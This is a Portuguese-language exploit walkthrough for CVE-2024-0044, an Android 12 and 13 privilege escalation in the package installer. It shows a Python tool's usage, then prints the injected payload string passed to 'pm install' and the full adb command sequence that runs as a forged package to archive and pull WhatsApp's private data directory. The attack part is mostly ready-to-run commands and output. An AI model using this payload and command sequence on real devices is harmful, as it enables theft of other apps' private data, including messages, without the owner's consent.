
CVE-2024-0044: uma vulnerabilidade de alta gravidade do tipo "executar como qualquer aplicativo" que afeta as versões 12 e 13 do Android
CVE-2024-0044, identificada na função createSessionInternal do arquivo PackageInstallerService.java, é uma vulnerabilidade de alta gravidade que afeta as versões 12 e 13 do Android. Essa vulnerabilidade permite que um atacante realize um ataque "run-as any app", levando a uma escalada local de privilégios sem exigir interação do usuário. O problema surge devido a uma validação de entrada inadequada na função createSessionInternal. Um atacante pode explorar isso manipulando o processo de criação de sessão, potencialmente obtendo acesso não autorizado a dados confidenciais e realizando ações não autorizadas no dispositivo afetado.
A exploração foi descoberta pela Meta security
A prova de conceito foi resumida e compartilhada por Tiny hack
Detalhes sobre o patch de segurança podem ser encontrados em Android security bulletin
python3 cve_2024_0044.py -h
##########################################################################################
###############S%%#####################################################%%S################
###############%++*S##################################################?++?################
################%++*S###############################################S*++?#################
#################%+++%#############################################S*++%##################
##################S*++%###########################################%+++%###################
###################S*++?#########SSS%%?????***?????%%%SS#########%++*S####################
#####################?++*##S%%?**+++++++++++++++++++++++**??%S##?++*S#####################
######################?++**+++++++++++++++++++++++++++++++++++**++*#######################
###################S%?*++++++++++++++++++++++++++++++++++++++++++++?%S####################
#################%?+++++++++++++++++++++++++++++++++++++++++++++++++++*%S#################
##############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++?S###############
############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S#############
##########S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S###########
#########%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##########
#######S*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S########
######%++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*++++++++++++++%#######
#####%++++++++++++++*######%+++++++++++++++++++++++++++++++++%######?++++++++++++++?######
####?+++++++++++++++*######S+++++++++++++++++++++++++++++++++%######?+++++++++++++++?#####
###%+++++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*+++++++++++++++++?####
##S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%###
##*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S##
#%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##
#*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S#
S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%#
usage: cve_2024_0044.py [-h] -P P -A A
CVE-2024-0044: run-as any app @Pl4int3xt
options:
-h, --help show this help message and exit
-P P package name (default: None)
-A A apk file path (default: None)
-P é usado para especificar o nome do pacote alvo que você deseja executar como.
-A para especificar o caminho do arquivo apk a ser enviado ao dispositivo.
Execute a ferramenta
python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk
Um arquivo payload.txt como este será gerado
PAYLOAD="@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success após o último comandopl4int3xt ~> adb shell
pixel:/ $ PAYLOAD="@null
> victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success
pixel:/ $ mkdir /data/local/tmp/wa/
pixel:/ $ touch /data/local/tmp/wa/wa.tar
pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
pixel:/ $ run-as victim
pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp
Crie um diretório temporário: mkdir /data/local/tmp/wa/
Crie um placeholder para um arquivo tar: touch /data/local/tmp/wa/wa.tar
Defina permissões amplas: chmod -R 0777 /data/local/tmp/wa/ para garantir que qualquer usuário possa ler, escrever e executar neste diretório.
Altere o contexto do usuário: run-as victim para obter as mesmas permissões do usuário "victim".
Arquive os dados do aplicativo alvo: tar -cf /data/local/tmp/wa/wa.tar com.whatsapp, criando um tarball do diretório de dados do WhatsApp.
adb pull /data/local/tmp/wa/wa.tar
Você pode extrair os dados usando 7z ou qualquer outra ferramenta.
Você pode usar o Whatsapp chat exporter para converter para HTML.
Isso permite que você obtenha os dados do WhatsApp sem acesso root no seu dispositivo.